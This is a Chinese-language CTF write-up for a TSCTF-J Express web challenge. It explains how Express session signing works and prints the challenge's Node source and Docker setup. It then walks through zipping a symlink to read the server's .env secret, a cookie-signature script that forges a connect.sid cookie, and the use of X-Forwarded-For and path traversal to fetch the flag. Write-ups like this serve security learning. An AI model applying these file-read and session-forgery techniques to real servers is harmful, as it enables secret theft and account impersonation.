前置知识
软链接
ln -s
zip -y .zip
express框架session伪造
Express Session 伪造的核心原理是绕过服务器的会话验证机制,构造一个能被服务器认可的虚假会话(Session)。其本质是利用会话管理的核心逻辑漏洞(如密钥泄露、签名规则被破解等),生成符合服务器验证格式的会话标识。
一、Express Session 的正常工作流程
要理解伪造原理,先明确正常会话的生命周期:
- 会话创建:用户登录时,服务器生成唯一的
sessionId(如 UUID),并关联用户数据(如 userId),存储在服务器的会话存储中(如内存、Redis)。
- 签名 Session ID:服务器用配置的
secret(签名密钥)对 sessionId 进行签名,生成 s:sessionId.签名值 格式的字符串(s: 是 Express 的签名标识)。
- 发送 Cookie:服务器将签名后的字符串通过
connect.sid 这个 Cookie 发送给浏览器,浏览器后续请求会自动携带该 Cookie。
- 验证会话:服务器接收请求时,从
connect.sid 中提取签名后的字符串,用 secret 验证签名有效性(防止篡改),验证通过后用 sessionId 从存储中读取用户数据,确认用户身份。
二、伪造的核心原理
伪造的关键是复现服务器的签名和验证逻辑,让服务器误认为伪造的会话是合法的。具体需要突破两个环节:
1. 获取签名密钥(secret)
secret 是 Express 会话签名的核心,服务器用它生成签名,也用它验证签名。
- 若
secret 泄露(如代码硬编码、配置文件泄露),攻击者就能用它生成有效的签名。
- 例:你的代码中
secret 是 TSCTF-J{...},若被攻击者获取,就具备了签名的“钥匙”。
2. 构造合法的 Session ID 和签名
攻击者需要:
- 已知有效的
sessionId:可以是从服务器会话存储中获取的真实 ID(如内存泄露、数据库泄露),或猜测符合规则的 ID(如 UUID 格式)。
- 按规则生成签名:用泄露的
secret 对 sessionId 进行签名,生成 s:sessionId.签名值 格式的字符串(需和 Express 底层签名算法一致,通常是 HMAC-SHA256)。
- 生成 Cookie:对签名后的字符串进行 URL 编码,拼接为
connect.sid=编码后的值,作为 Cookie 发送给服务器。
三、服务器如何“认可”伪造的会话?
当服务器接收到伪造的 connect.sid Cookie 时,会执行以下验证步骤:
- 解码 Cookie 值,得到
s:sessionId.签名值。
- 去掉
s: 前缀,分离出 sessionId 和 签名值。
- 用自身配置的
secret 对 sessionId 重新计算签名,与提取的 签名值 对比。
- 若签名一致(未被篡改),则从会话存储中读取
sessionId 对应的用户数据。
- 若存储中存在该
sessionId 的数据(如 userId: 'admin'),则服务器认可该会话,攻击者成功伪造身份。
四、总结
Express Session 伪造的本质是:利用泄露的 secret 密钥,按照服务器的签名规则,构造一个签名有效的 connect.sid Cookie,使服务器误认为是合法会话。
防御的核心也很明确:保护 secret 不泄露、使用随机不可预测的 sessionId、定期轮换密钥,以及采用安全的会话存储(避免内存泄露)。
复现
源码index.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75
| const express = require('express'); const multer = require('multer'); const path = require('path'); const { execFile } = require('child_process'); const fs = require('fs'); const ensureSession = require('../middleware/session'); const developmentOnly = require('../middleware/developmentOnly');
const router = express.Router();
router.use(ensureSession);
const upload = multer({ dest: '/tmp' });
router.get('/', (req, res) => { res.render('index', { sessionId: req.session.userId }); });
router.get('/upload', (req, res) => { res.render('upload'); });
router.post('/upload', upload.single('zipfile'), (req, res) => { const zipPath = req.file.path; const userDir = path.join(__dirname, '../uploads', req.session.userId); fs.mkdirSync(userDir, { recursive: true }); execFile('unzip', [zipPath, '-d', userDir], (err, stdout, stderr) => { fs.unlinkSync(zipPath); if (err) { console.error('Unzip failed:', stderr); return res.status(500).send('Unzip error'); } res.redirect('/files'); }); });
router.get('/files', (req, res) => { const userDir = path.join(__dirname, '../uploads', req.session.userId); fs.readdir(userDir, (err, files) => { if (err) return res.status(500).send('Error reading files'); res.render('files', { files }); }); });
router.get('/files/:filename', (req, res) => { const userDir = path.join(__dirname, '../uploads', req.session.userId); const requestedPath = path.normalize(req.params.filename); const filePath = path.resolve(userDir, requestedPath); if (!filePath.startsWith(path.resolve(userDir))) { return res.status(400).send('Invalid file path'); } if (fs.existsSync(filePath) && fs.statSync(filePath).isFile()) { res.download(filePath); } else { res.status(404).send('File not found'); } });
router.get('/debug/files', developmentOnly, (req, res) => { const userDir = path.join(__dirname, '../uploads', req.query.sessionId); fs.readdir(userDir, (err, files) => { if (err) return res.status(500).send('Error reading files'); res.render('files', { files }); }); });
module.exports = router;
|
developmentOnly.js
1 2 3 4 5 6
| module.exports = function (req, res, next) { if (req.session.userId === 'develop' && req.ip == '127.0.0.1') { return next(); } res.status(403).send('Forbidden: Development access only'); };
|

查看附件给的 entrypoint.sh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| #!/bin/sh set -e
RAND=$(head /dev/urandom | tr -dc a-z0-9 | head -c 8) FLAG_FILE="/$RAND/flag.txt"
if [ -n "$FLAG" ]; then mkdir -p "/$RAND" chmod -R +r "/$RAND" echo "$FLAG" > "$FLAG_FILE" fi
unset FLAG export FLAG=""
exec "$@"
|
可知flag在根目录随机文件夹下
查看dockerfile
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| FROM node:22-alpine
WORKDIR /app
COPY src/package*.json ./ RUN npm install
COPY src/ .
EXPOSE 3000
COPY ./entrypoint.sh /entrypoint.sh RUN chmod +x /entrypoint.sh
ENTRYPOINT ["sh", "/entrypoint.sh"]
CMD ["npm", "start"]
|
可知题目把src内文件全放到/app文件下
利用软链接
1 2
| ln -s /app/.env env_link zip -y env_link.zip env_link
|
读取.env文件 获得
SESSION_SECRET=TSCTF-J{th1s_i5_n0t_fl4g_bu7_c4n_b3_us3ful}
同理读取server.js 获得session id:ACFA5737-166A-CFAF-7324-7B35C216B324
session伪造
1 2 3 4 5
| const cookieSignature = require('cookie-signature'); const secret = 'TSCTF-J{th1s_i5_n0t_fl4g_bu7_c4n_b3_us3ful}'; const sessionId = 'ACFA5737-166A-CFAF-7324-7B35C216B324'; const signedSessionId = 's:' + cookieSignature.sign(sessionId, secret); console.log('connect.sid=' + encodeURIComponent(signedSessionId));
|
1 2
| PS C:\Users\link\Desktop\CTF_Code_Tool> node express_session.js connect.sid=s%3AACFA5737-166A-CFAF-7324-7B35C216B324.zCc8cjkWopDjI6DOKMzG46w3HzZtY%2BaEZ11ylSjcjdk
|
由源码可知 最后利用xff和路径遍历即可